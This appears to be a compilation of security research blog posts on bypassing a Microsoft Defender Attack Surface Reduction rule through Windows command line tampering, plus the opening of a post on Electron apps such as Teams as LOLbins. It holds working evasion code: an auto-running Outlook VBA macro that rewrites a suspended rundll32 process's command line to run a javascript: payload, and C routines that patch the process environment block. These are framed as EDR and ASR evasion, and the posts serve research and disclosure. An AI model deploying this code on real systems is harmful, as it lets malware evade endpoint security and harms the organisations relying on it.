Microsoft Defender ASR Bypass using Command Line Tampering

I’ve worked a lot with Microsoft Defender Antivirus, and particularly with the Attack Surface Reduction feature. Having built up some understanding of its inner workings with the help of other online literature on the topic, it occurred to me that some of the previous work I’d performed using command line tampering could prove useful in bypassing the ASR rules. In this article, I will describe how I managed to successfully apply this technique to bypass the rule entitled “Block Office communication application from creating child processes”.

Previous researh by Camille Mougey has exposed some of the inner workings of ASR. He showed that certain facets of individual ASR rules are implemented in Lua scripts embedded in Microsoft Defender’s Antivirus definition files. In particular, certain ASR rules have exclusion lists implemented in Lua, and the article provides a few examples of file path based exclusions that could be abused by attackers.

Having followed the techniques described in Mougey’s article, I ended up with my own collection of Lua scripts, and proceeded to see what else I could find. Interestingly, while numerous path-based exclusions are defined in a function named GetPathExclusions, I found that two of the rules provided another function named GetCommandLineExclusions. And naturally, it occurred to me — could I leverage my previous command line tampering work to achieve an effective ASR bypass?

Let’s look first at the decompiled functions that do provide command line exclusions. These are as follows:

Block Process Creations originating from PSExec & WMI commands

GetCommandLineExclusions = function()
  -- function num : 0_3
  local l_4_0 = ".:\\\\windows\\\\ccmcache\\\\.+"
  local l_4_1 = ".:\\\\windows\\\\ccm\\\\systemtemp\\\\.+"
  local l_4_2 = ".:\\\\windows\\\\ccm\\\\sensorframework\\\\.+"
  local l_4_3 = ".:\\\\windows\\\\ccm\\\\signedscripts\\\\.+"
  local l_4_4 = "cmd[^\\s]*\\s+/c\\s+\\\"chcp\\s+65001\\s+&\\s+.:\\\\windows\\\\system32\\\\inetsrv\\\\appcmd\\.exe\\s+list[^>]+>\\s+\\\"\\\\\\\\127\\.0\\.0\\.1\\\\.\\$\\\\temp\\\\[^\\\"]+\\\"\\s+2>&1\\\""
  local l_4_5 = {}
  l_4_5[l_4_0] = 0
  l_4_5[l_4_1] = 0
  l_4_5[l_4_2] = 0
  l_4_5[l_4_3] = 0
  l_4_5[l_4_4] = 0
  return l_4_5
end

Block Office communication application from creating child processes

GetCommandLineExclusions = function()
  -- function num : 0_3
  local l_4_0 = "\\\\wincub~.\\.dll\\\",openstgfile.+"
  local l_4_1 = "rundll32[^\\s]* c:\\\\windows\\\\system32\\\\spool\\\\drivers\\\\.+"
  local l_4_2 = "\\\\cmtrace\\.exe\\\"\\s\\\".+\\.log\\\""
  local l_4_3 = ".:\\\\program files \\(x86\\)\\\\microsoft\\\\edge\\\\application\\\\msedge.exe"
  local l_4_4 = "\\\"?rundll32(\\.exe)?\\\"?\\s+\\\"?.:\\\\program files( \\(x86\\))?\\\\windows photo viewer\\\\photoviewer.dll\\\"?"
  local l_4_5 = {}
  l_4_5[l_4_0] = 0
  l_4_5[l_4_1] = 0
  l_4_5[l_4_2] = 0
  l_4_5[l_4_3] = 0
  l_4_5[l_4_4] = 0
  return l_4_5
end

From the above examples, we can see clearly that the strings are regular expressions. The exclusion mechanism has been designed to provide some flexibility regarding the exact command lines that it permits.

The second of these looks particularly interesting, because it has two entries that reference rundll32.exe, a well-known LOLBin. Indeed, there is an invocation of rundll32.exe that can use JavaScript to launch any other arbitrary process:

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

Interestingly, attempting to run the above command line may result in an outright block by Windows Defender Antivirus (not ASR).

Looking at the two command line exclusions involving rundll32.exe, let us first try to imagine why they were put in there in the first place. The first entry is referencing the print spooler directory, so one might assume that it is something to do with printing. The second entry references the “Windows Photo Viewer” DLL, which is helpfully provided in both 32- and 64-bit formats. If I were to guess, this might be launched in order to view images in email attachments, although on my machine it seemed to want to launch Paint instead. I have a feeling that this might be functionality provided by older versions of Outlook.

So, what we want to do from out Office Communication application (i.e. Outlook) is to:

1. Launch a suspended new process with a command line that would match the regular expression in the exclusion list. The following command line proides an example which would match the regular expression, while also appearing to be a legitimate invocation against a location where Outlook is known to store temporary files.

rundll32.exe "C:\program files\windows photo viewer\photoviewer.dll",ImageView_Fullscreen C:\Users\xxxx\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\FEC5USK9\IMG_00000000 

2. Modify the command line in the new process with something that could launch our desired executable:

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

3. Resume the process, allowing it to run the modfied command line.

It is our expectation that Microsoft Defender will perform the ASR rule processing as soon as the process is created – once it has determined that the process is excluded, it will allow that process and all its children to run unimpeded.

Macros in Word and Excel are well-known, and are the tool of choice for demostrating ASR, and ASR bypasses affecting those applications. However, this rule only affects Outlook. Fortunately for us, Outlook also provides limited VBA macro functionality, but instead of allowing macros in documents (wouldn’t that be fun?), VBA macros may only be provided in the form of one file:

%APPDATA%\Microsoft\Outlook\VbaProject.OTM

We’ll take what we’re given.

Below is a VBA implementation of the “in situ” command line tampering technique I presented in Part I of my Command Line Tampering series.

' https://msdn.microsoft.com/fr-fr/library/windows/desktop/ms684873(v=vs.85).aspx
Private Type PROCESS_INFORMATION
    hProcess As LongPtr     'HANDLE hProcess;
    hThread As LongPtr      'HANDLE hThread;
    dwProcessId As Long     'DWORD  dwProcessId;
    dwThreadId As Long      'DWORD  dwThreadId;
End Type

' https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
Private Type STARTUP_INFO
    cb As Long                  'DWORD  cb;
    lpReserved As String        'LPSTR  lpReserved;
    lpDesktop As String         'LPSTR  lpDesktop;
    lpTitle As String           'LPSTR  lpTitle;
    dwX As Long                 'DWORD  dwX;
    dwY As Long                 'DWORD  dwY;
    dwXSize As Long             'DWORD  dwXSize;
    dwYSize As Long             'DWORD  dwYSize;
    dwXCountChars As Long       'DWORD  dwXCountChars;
    dwYCountChars As Long       'DWORD  dwYCountChars;
    dwFillAttribute As Long     'DWORD  dwFillAttribute;
    dwFlags As Long             'DWORD  dwFlags;
    wShowWindow As Integer      'WORD   wShowWindow;
    cbReserved2 As Integer      'WORD   cbReserved2;
    lpReserved2 As LongPtr      'LPBYTE lpReserved2;
    hStdInput As LongPtr        'HANDLE hStdInput;
    hStdOutput As LongPtr       'HANDLE hStdOutput;
    hStdError As LongPtr        'HANDLE hStdError;
End Type

Private Const CREATE_SUSPENDED = &H4

Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUP_INFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function NtQueryInformationProcess Lib "ntdll" (ByVal ProcessHandle As LongPtr, ByVal ProcessInformationClass As Long, ByRef ProcessInformation As Any, ByVal ProcessInformationLength As Long, ByRef ReturnLength As LongPtr) As Long
Private Declare PtrSafe Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal nSize As LongPtr, lpNumberOfBytesRead As LongPtr) As Long
Private Declare PtrSafe Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal nSize As LongPtr, lpNumberOfBytesWritten As LongPtr) As Long
Private Declare PtrSafe Function ResumeThread Lib "kernel32" (ByVal hThread As LongPtr) As Long

Public Function BytesToLongPtr(b() As Byte, offset As Long) As LongPtr
  CopyMemory BytesToLongPtr, b(LBound(b) + offset), 8
End Function

Sub LaunchWithAsrBypass()
  Dim r As LongPtr
  
  Dim originalCmdLine As String, newCmdLineBuf() As Byte
  
  newCmdLine = "rundll32.exe javascript:""\..\mshtml.dll,RunHTMLApplication "";eval(""w=new%20ActiveXObject(\""WScript.Shell\"");w.run(\""calc\"");window.close()"");"
  newCmdLineBuf = newCmdLine
  
  ' Build an original command line with a plausible looking image file path
  originalCmdLine = "rundll32.exe ""c:\program files\windows photo viewer\photoviewer.dll"",ImageView_Fullscreen "
  originalCmdLine = originalCmdLine & Environ("LocalAppData") & "\Microsoft\Windows\INetCache\Content.Outlook\FEC5USK9\IMG_00000000"
  ' Extend the original command line such that its length is at least equal to that of the new command line.
  While Len(originalCmdLine) < (Len(newCmdLine) - 4)
    originalCmdLine = originalCmdLine & "0"
  Wend
  originalCmdLine = originalCmdLine & ".PNG"
  
  ' Start the process with the original command line, in a suspended state...
  Dim processInfo As PROCESS_INFORMATION, startupInfo As STARTUP_INFO, strNull As String
  lCreateProcess = CreateProcess(strNull, originalCmdLine, 0&, 0&, False, CREATE_SUSPENDED, 0&, strNull, startupInfo, processInfo)
  
  ' Navigate the PEB to get the command line pointer
  Dim processBasicInfo(48) As Byte, peb(60) As Byte, processParams(128) As Byte
  Status = NtQueryInformationProcess(processInfo.hProcess, 0, processBasicInfo(0), 48, r)
  pPeb = BytesToLongPtr(processBasicInfo, 8)
  lRet = ReadProcessMemory(processInfo.hProcess, pPeb, peb(0), 40, r)
  pProcessParams = BytesToLongPtr(peb, 32)
  lRet = ReadProcessMemory(processInfo.hProcess, pProcessParams, processParams(0), 128, r)
  pCmdLine = BytesToLongPtr(processParams, 120)
  
  ' Write the new command line and a terminating null character
  lRet = WriteProcessMemory(processInfo.hProcess, pCmdLine, newCmdLineBuf(0), UBound(newCmdLineBuf), r)
  Dim unicodeNull(2) As Byte
  lRet = WriteProcessMemory(processInfo.hProcess, pCmdLine + UBound(newCmdLineBuf), unicodeNull(0), 2, r)
  
  ' Let the process run
  lRet = ResumeThread(processInfo.hThread)
End Sub

Private Sub Application_Startup()
  LaunchWithAsrBypass
End Sub

Note the Application_Startup function at the end. As suggested by its name, this function, if present within the VbaProject.OTM file, will be executed whenever Outlook is started.

Let’s test this out in the editor. First we’ll run a simple test to confirm that calc.exe is blocked by ASR. Then, we’ll test the ASR Bypass code as detailed above. We can see the results in the following video.

Concluding Remarks

The built-in path-based ASR exclusions provide many opportunities for ASR bypasses. Command line exclusions are intended to make it more difficult to bypass ASR, especially given general-purpose applications like rundll32.exe, could be used for good or bad. However, we have demonstrated here that, with a little bit more effort, command line exclusions can also be abused to bypass ASR rules. We acknowledge that our task was made easier by the use of a well-known LOLbin, so our message to Microsoft is to pay close attention to what you’re excluding, and don’t assume that command line exclusions are automatically safe.

Command Line Tampering in Windows, part III

In previous posts, we have explored some techniques for tampering with the command line of a freshly launched Windows process. In Part I, we saw a simple technique which suffered from the drawback that the new command line could be no longer than the original. In Part II, we proposed an alternate technique which supported command lines of more arbitrary length (subject to the UNICODE_STRING structure’s string length constraint of 32766 characters). This technique suffers from its greater complexity — because it is forced to wait until the process entry point is reached before making the substitution, it must take into account the possibility that the command line pointer was copied, and that the string itself may have been converted into other character formats. We solved the easiest of these cases — that of an application using Unicode characters and compiled against standard runtime libraries — while acknowledging that further work would be necessary to adapt to other scenarios.

From a programmer’s and hacker’s perspective, this was not an extremely satisfying result. We want to be able to inject command lines of arbitrary length into our target process, but we also want to do this while the process is suspended on its initial launch. Therefore, we must come to a better understanding of that mysterious error which we saw, and worked around during Part II of this series.

Let’s recap exactly what we did.

  1. We launched the process in a suspended state.
  2. We read the Process Environment Block (PEB) and the Process Parameters structure.
  3. We allocated a new buffer within the target process address space, and copied our new command line into that buffer.
  4. We resumed the main thread in the target process.

Let’s also recap our main observations.

  1. The process reported an error code of 0xc0000142, which means DLL Initialization Failed.
  2. By the time that control had reached the process entry point, the addresses of the command line buffer and the Process Parameters structure itself had changed.

It is strange indeed that the data seems to have been copied or moved. So, perhaps we can figure something out by debugging the process. My debugger of choice for this investigation will be x64dbg. To maintain continuity with the previous posts, I will continue to debug the cmd.exe executable, running it with the following initial command line:

cmd.exe /c echo *** Original 1234

Because we expect that the behaviour we’re seeking is occurring before the process reaches its entry point, we should be able to get the same results with any other executable or command line.

We set up the debugger to run the above command line, and allow it to break at the very first instruction executed by the main thread (remember, the process entry point is still well in the future). At this point, the Process Environment Block is already set up, so we locate it using the debugger’s peb() command.

We know that, on the x64 platform, the pointer to the Process Parameters is found at offset 0x20 of the PEB, so we note the current pointer at that address, and set a hardware breakpoint to break when the data at that location is modified.

Allowing the program to run, we do find that the pointer is changed in a function named RtlpInitParameterBlock(). It turns out that this is not a long function, so let’s work our way though it. At the point the breakpoint hit, we find that the contents of the rbx register are being assigned to the ProcessParameters field of the PEB.

So, the rbx register contains the address of our new Process Parameters block. We can confirm this by working our way backwards in the function, and find the rbx register receiving the return value of a call to RtlAllocateHeap(). The same value is used as a parameter to RtlCopyMemory() several instructions later.

At this point, probably the most interesting parameter to RtlAllocateHeap() is the Size parameter, which will be passed via the r8 register. We see that this value, a DWORD, is itself read from offset 0x4 of a structure whose pointer is located at offset 0x20 of another structure. We’ve seen this offset 0x20 recently, and it turns out that it is indeed our very same Process Parameters structure.

So, it turns out that the size of the buffer containing the Process Parameters structure is stored near the beginning of the Process Parameters structure itself, an area marked by Microsoft official documentation as “Reserved”. However, this size is somewhat larger than the size of the RTL_USER_PROCESS_PARAMETERS64 structure itself. It looks like the Process Parameters is indicating the presence of some data beyond its end. So let’s have a look in the debugger at what’s there.

In this example, our offset 0x4 indicates a supposed length of 0x716 — much longer than the officially documented size of 0x80. Looking beyond offset 0x80, we see what appears to be a pointer, followed by some zeroes, followed by 3 UNICODE_STRING structures, followed by more zeroes. But if we look towards the very end of this buffer, we find something interesting.

Looks like we have a few null-terminated, Unicode strings here. Indeed, these turn out to be our executable path name, our command line, our executable path name again, and the name of the default interactive window station. Looking back at offset 0x78 which should point to our command line, we do find that this does indeed point there (in this instance, 0x28cee770680).

So, we can see quite clearly that a copy of the entire buffer is made, string buffers and all. On closer examination of the remaining code within this function, we find that, after copying the data in a single operation, it then adjusts all the relevant pointers in the new Process Parameters structure, so that they point to the appropriate buffers within the new structure. Because the contents of the structures are the same, this is just a matter of simple pointer arithmetic — calculate the difference between the start of the old buffer and the start of the new buffer, and add this difference to all the pointers in the new buffer.

This explains our error. We allocated a new buffer for our command line, which was well outside the Process Parameters buffer. When the entire contents of the buffer were copied, this pointer remained intact. But the act of adjustment rendered the pointer useless. Most likely, it would end up referencing an invalid memory region.

So, armed with this knowledge, we can now propose a more elegant solution, which we express in the following code:

SIZE_T sLen = 0;
SIZE_T nNewCmdLineLen = wcslen(szNewCommandLine);

PROCESS_BASIC_INFORMATION pinfo;
NtQueryInformationProcess(hProc, ProcessBasicInformation, &pinfo, sizeof(pinfo), (DWORD*)&sLen);

// Read the PEB.
PEB64 peb;
ReadProcessMemory(hProc, pinfo.PebBaseAddress, &peb, sizeof(peb), &sLen);

// Read the length of the Process Parameters buffer.
DWORD nOriginalProcessParamsLen;
ReadProcessMemory(hProc, &((DWORD*)peb.ProcessParameters)[1], &nOriginalProcessParamsLen, sizeof(nOriginalProcessParamsLen), &sLen);

// Allocate a local buffer to store the contents of our Process Parameters buffer.
DWORD nNewProcessParamsLen = nOriginalProcessParamsLen + ((nNewCmdLineLen + 1) * 2);
LPBYTE pNewParamsBuffer = (LPBYTE)malloc(nNewProcessParamsLen);
RTL_USER_PROCESS_PARAMETERS64 *pNewParams = (RTL_USER_PROCESS_PARAMETERS64*)pNewParamsBuffer;

// Read the contents of the original Process Parameters byffer, into our new local buffer
ReadProcessMemory(hProc, (LPVOID)peb.ProcessParameters, pNewParamsBuffer, nOriginalProcessParamsLen, &sLen);
    
// Allocate a new buffer in the remote process.
PTR64 pNewParamsAddr = (PTR64)VirtualAllocEx(hProc, nullptr, nNewProcessParamsLen, MEM_COMMIT, PAGE_READWRITE);

// Copy the new command line to the end of the new Process Parameters buffer
wcscpy_s((LPWSTR)&pNewParamsBuffer[nOriginalProcessParamsLen], nNewCmdLineLen + 1, szNewCommandLine);

// Adjust the buffer size at the beginning of the Process Parameters structure (first two DWORDs)
((DWORD*)pNewParamsBuffer)[0] = (DWORD)nNewProcessParamsLen;
((DWORD*)pNewParamsBuffer)[1] = (DWORD)nNewProcessParamsLen;

// Set the command line pointer to the address at the end of the buffer.
pNewParams->CommandLine.Buffer = pNewParamsAddr + nOriginalProcessParamsLen;
pNewParams->CommandLine.u.Length = nNewCmdLineLen * 2;
pNewParams->CommandLine.u.MaximumLength = (nNewCmdLineLen * 2) + 2;

// Loop through all 64-bit values within the buffer. If any of those are found to be within the bounds of
// the original Process Parameters buffer, adjust them to the equivalent offsets in the new buffer.
for (DWORD offset = 0; offset < nOriginalProcessParamsLen; offset += sizeof(PTR64)) {
    PTR64 value = *((PTR64*)(&pNewParamsBuffer[offset]));
    if (value >= peb.ProcessParameters && value < (peb.ProcessParameters + nOriginalProcessParamsLen)) {
        *((PTR64*)(&pNewParamsBuffer[offset])) = (value - peb.ProcessParameters) + (PTR64)pNewParamsAddr;
    }
}

// Write the new buffer to the remote process
WriteProcessMemory(hProc, (LPVOID)pNewParamsAddr, pNewParamsBuffer, nNewProcessParamsLen, &sLen);

// Write the address of the new buffer to the PEB of the remote process
WriteProcessMemory(hProc, (LPVOID)(&pinfo.PebBaseAddress->ProcessParameters), &pNewParamsAddr, sizeof(PTR64), &sLen);

free(pNewParamsBuffer);

As always, the above code has been presented with simplicity in mind, and omits bounds and error checking that should be present in a robust implementation.

This code works beautifully, and because it makes all necessary adjustments before a single instruction is executed in the target process address space, it is resilient against any copies or reformattings applied during the initialisation of the process. For the same reason, it should no longer matter that the program was compiled against Microsoft C runtime libraries. The only thing lacking for now is a 32-bit implementation.

We have now developed a robust tool for performing command line manipulation, but this is by no means the end of the series. Future articles will explore the effectiveness of these techniques for EDR evasion, as well as additional things we can achieve through this technique.

Command Line Tampering in Windows, Part II

In Part I of this series, we proposed a simple method for launching a child process with a fake command line and then modifying its command line before it started executing. Due to its simplicity, this method comes with one major drawback: because we are modifying the buffer where the command line is located, the “real” command line must be no longer than the “fake” one.

The following screenshot demonstrates our tool in action, using the “In Situ” modification method. We launch a process with an “Original” command line, and then modify it to a longer, “Modified” command line. We can see the output at the end, which indicates that the modified command line was successfully run, although the output was truncated as the command line buffer could not accommodate the entire desired string.

We suggested that the length constraint may be mitigated somewhat by inserting space characters into the fake command line, however this itself might indicate to a vigilant observer that something is not quite right and warrants further investigation. So, let us now see if we can modify the tool to allow arbitrary-length command lines.

The following code, enclosed within a function, will allocate a new block of memory within the target process address space, copy the command line to this new memory block and update the pointer to the buffer to point to it.

BOOL ModifyCommandLine(HANDLE hProc, PEB64 *pPeb, RTL_USER_PROCESS_PARAMETERS64 pParams, LPCWSTR szNewCommandLine) {
  UNICODE_STRING64 cmdLine= pParams->CommandLine;
  SIZE_T nNewCmdLineLen = wcslen(szNewCmdLine);
  cmdLine.u.Length = (WORD)(nNewCmdLineLen * 2);
  cmdLine.u.MaximumLength = pParams->CommandLine.u.Length + 2;
  cmdLine.Buffer = (QWORD)VirtualAllocEx(hProc, nullptr, cmdLine.u.MaximumLength, MEM_COMMIT, PAGE_READWRITE);

  LPVOID pCmdLineAddr = &(((RTL_USER_PROCESS_PARAMETERS64*)pPeb->ProcessParameters)->CommandLine);
  WriteProcessMemory(hProc, pCmdLineAddr, &cmdLine, sizeof(UNICODE_STRING64), &sLen);
}

That looks simple enough. Unfortunately though, when we run this code, we start seeing strange behaviour. Depending on how we ran the application, we might see a popup message, indicating that “The application was unable to start correctly (0xc0000142)”. The error code 0xc0000142 appears to mean DLL Initialization Failed.

Interestingly, if we examine the popup window, we find that it is owned by the csrss.exe process. We know that this is a privileged system process, and that it is involved in process creation. Could it be that it is detecting tampering with the command line? Or, taking our cue from the specific error code, could our tampering be interfering with the initialisation of the standard DLLs that are loaded into each newly created process, presumably with the involvement of csrss.exe?

This might make for an interesting investigation later, but we won’t dwell on it for now. However, if we examine the PEB of the application after it has started running, and compare it with its context immediately after the creation of the process in its suspended state, we do notice something curious – the address of the Process Parameters structure has changed, as has the address of the buffer containing the command line string. It appears that something has copied or moved these structures in memory. However, our replacing the command line pointer with a freshly allocated memory address has somehow interfered with this. Again, we won’t dwell on the why, but, for now, accept this as a given, and figure out how to get around it.

We know that each executable file has an Entry Point address, indicating where the program starts. However, this is not actually the very first instruction that is executed in the main program thread. The first executed instruction belongs to the function LdrpInitializeProcess within ntdll.dll. Between there and the actual process entry point, there is a good deal of initialisation going on, and it seems that something in this initialisation is copying the Process Parameters to a different location.

Because all this process initialisation code is boilerplate, and identical across all processes, it should not actually depend on anything in the command line. So, perhaps it’s just best to wait for all this initialisation to complete, and to modify our command line where it truly matters — once control hits the entry point of our process.

To achieve this, I used a little trick I found documented in an article on DLL injection. In short, we temporarily modify the code at the entry point, replacing it with a simple JMP instruction that loops back in on itself. We allow the process to run, and periodically poll the main thread to check whether its instruction pointer is at the entry point. Once it has reached the entry point, we suspend the thread, restore the original code, and do whatever it is we need to do (in this case, tamper with the command line) before finally resuming the thread again.

Not entirely elegant, and it might cause one CPU to run at full throttle for a short while, but it does the job.

I won’t share the entire code used to achieve this in this post, but assuming we’ve written some functions to do the heavy lifting, we’ll have something like the following. The ModifyCommandLine function referenced below is the same as the one shown above.

BYTE originalEntryPointInstructions[2];
pEntryPoint = FindEntryPointAddress(hProc);
ModifyEntryPoint(hProc, &peb, ¶ms, pEntryPoint, originalEntryPointInstructions);
ResumeThread(hThread);
while (!IsThreadAtEntryPoint(hThread, &peb, pEntryPoint)) 
  Sleep(500);
SuspendThread(hThread);
ReadPeb(hProc, &peb, ¶ms);
ModifyCommandLine(hProc, &peb, ¶ms, szRealCommandLine);
RestoreEntryPoint(hProc, &peb, ¶ms, pEntryPoint, originalEntryPointInstructions);
ResumeThread(hThread);

Running our modified tool (with additional logging statements inserted), we observe the following output:

We see here that the command line seems to have been successfully modified, and that its entire length has been written. But yet, when the process finally runs, it still echoes the value contained within the original command line. How can this be?

Let’s think about how a normal Windows application (written in C or C++) might access its command line. There are two key ways in which this can be done:

  1. Using the GetCommandLineA() or GetCommandLineW() API functions provided by kernelbase.dll, which can be called from anywhere within the application.
  2. Via the pointers provided by the argv argument to the main() or wmain() entry points in a non-graphical (console) application.
  3. Via the pointer provided by the pCmdLine argument to the WinMain() or wWinMain() entry points in a graphical application.

If we examine the disassembly of the GetCommandLineW() function within the kernelbase.dll file, we find that this is not reading the command line from the pointer referenced by the PEB, but is using a pointer stored within a separate global variable. Locating the initialisation code provided by kernelbase.dll, we can see that it simply copies this pointer over from the Process Parameters structure. Only the pointer is copied. GetCommandLineA() is slightly more complicated — obviously the string must be converted to single-byte characters, so a new buffer must be allocated for this purpose.

So, this explains the problem we are seeing. Because we have waited for the target process to hit the application entry point, we have already allowed the initialisation code to copy the original command line pointer to another location. Substituting in a new command line at this point is already too late.

At this point, we need to go and replace the global pointer in kernelbase.dll with the new pointer as well. Using the Windows API, we can find where any given module has been mapped into a remote process address space. Then, we can scan the memory within that module for any occurrences of the original pointer, and replace those with the new pointer.

The code necessary to do all this is too complex for a blog post, but can be examined in the GitHub repository accompanying this article.

Suffice to say, when we perform this substitution in kernelbase.dll, we find that GetCommandLineW() now returns the correct pointer. If our application relies on this function to read its command line, this is all that must be done.

Returning to the case of wmain(), it turns out that the work of parsing the command line and generating the argv array is performed at a point after the application’s entry point, but before the execution of the wmain() function itself. This suits us because we’ve already modified the PEB-derived command line before this happens. However, it turns out that the pointer used for this operation has been pre-cached in yet another location, by one of the ucrtbase.dll or msvcrt.dll libraries. So, we’ll have to perform the same treatment for those modules as we did for kernelbase.dll — seek all instances of the original pointer and replace those with the new.

Testing the final product, we finally achieve our desired result.

So, at this point, we’ve achieved a tool that can modify the command line for a large number of executables. Seeing as the “official” process command line is expressed using 16-bit Unicode characters, this is most easily achieved only for applications which themselves operate on the Unicode version of the command line. We have not yet attempted to extend this for single-byte-character command lines, which would be more challenging indeed.

Similarly, for now we’ve only targeted applications written in C or C++, built using Microsoft tools and run against Microsoft’s “release” runtime libraries. Still, a good start, and a solid improvement on our initial effort.

I intend to release the full source code of the tool described here. This will include better error handling and all the functions not explicitly listed in the article. The source code will be linked from this article once it is made available.

Command Line Tampering in Windows, Part I

Every Windows process has a command line — a string of characters that is supplied to the process when it first starts, and can be interpreted by the process to govern its behaviour.

It might be assumed that, once a process is started, the command line provides an immutable record of how the process was invoked. When we list the running processes in a system with their command lines, we expect that this reflects how the process was started. If we log process creations to the Windows Event Log, or to an EDR product, by using the recorded command line, we expect to be able to make inferences about what actions the process might have actually performed.

However, there is more to the story. One might naively assume that the command line for each process is stored within the kernel, but this is not the case. The process command line is actually stored within the user space of each process itself. Indeed, to determine the command line of any given process, an application such as Task Manager or Process Explorer must open a handle to that process, and read the command line directly from the memory of that process.

Because the command line is not protected in any meaningful way, it is possible for a process to both modify its own command line, or to modify the command lines of other processes.

How might this be of use to an adversary? EDR evasion is one such use. If the adversary creates a process with a benign-looking command line, and then quickly substitutes the command line with a malicious one, then from the EDR perspective, the process will appear innocent.

Depending on how the system is configured, there may be other uses. Certain security products may target or exclude certain behaviours based on command lines. In a subsequent post, we will explore a bypass for a Microsoft Defender Attack Surface Reduction rule that can be achieved by modifying a process command line.

In this post, we will present a general purpose tool that we have written that will launch a certain process, and then modify its command line such that it will behave in a different manner. Getting this to work generically has its difficulties, and we will describe what those difficulties are and how we managed to overcome them.

Command Line Basics

The process command line for any given process can be found in a memory structure which is reachable from a structure known as the Process Environment Block (or PEB).

To acquire the Process Environment Block for any given process, it is necessary to call the NtQueryInformationProcess function, with a Process Information Class of ProcessBasicInformation. This returns a structure of type PEB (scroll to the bottom of that page for details on the 64-bit version). The PEB stucture contains a pointer named ProcessParameters, which points to a structure of type RTL_USER_PROCESS_PARAMETERS. The ProcessParameters structure in turn contains a structure named CommandLine, which is of type UNICODE_STRING. The UNICODE_STRING structure is commonly used throughout the Windows kernel, and contains fields representing:

  • a pointer to the buffer that contains the string
  • the current length of the string
  • the maximum length that the aforementioned buffer can currently accommodate.

As should be clear from the naming above, the command line itself is stored in the process data using Unicode (UTF-16) characters. However, as per the specification of UNICODE_STRING, the two “length” fields are specified in bytes.

A First Attempt

On our first attempt, we will assume that our new command line is equal to or less than in length than the original command line. This means that we will not need to allocate any new memory in the address space of the target process, but can reuse what is already allocated.

Launching the Process

To launch a process, we use the CreateProcess() Windows API call, as shown below:

HANDLE hThread, hProcess;
PROCESS_INFORMATION pi;
STARTUPINFO si;
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);

CreateProcess(nullptr, szOriginalCmdLine, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi); 
hThread = pi.hThread;
hProc = pi.hProcess;

Note that we use the CREATE_SUSPENDED flag to ensure that the main process thread does not start immediately. CreateProcess() conveniently returns handles to the newly created process and to its main thread. As we will require both of these later, we save those in the hProc and hThread variables.

Reading the Process Environment Block

In order to locate the command line within the process memory, we must navigate through a set of structures beginning with the Process Environment Block. This is a relatively well-known technique, although not officially documented by Microsoft.

SIZE_T sLen;
PROCESS_BASIC_INFORMATION pInfo;
PEB64 peb;
RTL_USER_PROCESS_PARAMETERS64 params;

NtQueryInformationProcess(hProc, ProcessBasicInformation, &pInfo, sizeof(PROCESS_BASIC_INFORMATION), (ULONG*)&sLen);
ReadProcessMemory(hProc, pInfo.PebBaseAddress, &peb, sizeof(PEB64), &sLen);
ReadProcessMemory(hProc, (LPCVOID)peb.ProcessParameters, ¶ms, sizeof(RTL_USER_PROCESS_PARAMETERS64), &sLen);

As we will need the PEB and the Process Parameters later, we will pass those back to the caller.

Modifying the Command Line

Because we have assumed that the new command line is no longer than the original one, we can copy the new command line directly into the buffer that has already been initialised with the original one. We ensure that the end of the buffer contains a terminating ‘\0’ character.

SIZE_T nNewCmdLineBytes = min(wcslen(szNewCommandLine)*sizeof(WCHAR), pParams->CommandLine.u.MaximumLength - 2);
WriteProcessMemory(hProc, (LPVOID)params.CommandLine.Buffer, szNewCmdLine, nNewCmdLineBytes, &sLen);
WriteProcessMemory(hProc, (LPVOID)(pParams->CommandLine.Buffer + nNewCmdLineBytes), L"", sizeof(WCHAR), &sLen);

Running the Process

Finally, having set up the command line we want, we must allow the process to begin executing. We do this using the ResumeThread() call.

ResumeThread(hThread);

And that’s more or less it – for our first pass, at least. We can compile the code, execute it and verify that it does the job. Recalling our assumption that the new command line must be no longer than the original one, this may at first seem constraining. However, even that is not too bad, because we could always pad our “original” command line with as many spaces as would be required to accommodate the new command line. This may, of course appear suspicious under closer scrutiny, so it would still be nice to be able to inject a command line of arbitrary length.

Doing this will prove more difficult than one might expect, so we will devote Part II of this series to that topic.

Microsoft Teams and other Electron Apps as LOLbins

While studying AppLocker in recent months, I’ve had the opportunity to delve into the world of Living -off-the-land Binaries (LOLbins), particularly those which are of particular use as Application Whitelisting Bypass tools.

Windows LOLbins are catalogued in several places, not least of which is the LOLBAS project (https://github.com/LOLBAS-Project/LOLBAS). This project provides a comprehensive definition of what kind of binaries make the cut. In particular, they must be Microsoft-signed and contain “unexpected” functionality that may be of use to a Red Team.

Having looked into the security of Electron apps a while back and kept tabs on it since then, it did not surprise me that the Squirrel Updater (Update.exe) was included in that list. However, what did surprise me was that no Electron applications are included — in particular, Microsoft Teams.

What I describe here is, of course, applicable to Electron applications. However, as certain LOLbin criteria narrow the definition to only Microsoft-signed executables, I will pay particular attention to Teams.

An application written using the Electron framework is essentially written in JavaScript. Electron provides an embedded Node.js framework which is used to execute the application code, and an embedded Chromium browser for the UI.

If we look at a typical installation of Teams, we will find that it is installed in:

%LOCALAPPDATA%\Microsoft\Teams\current 

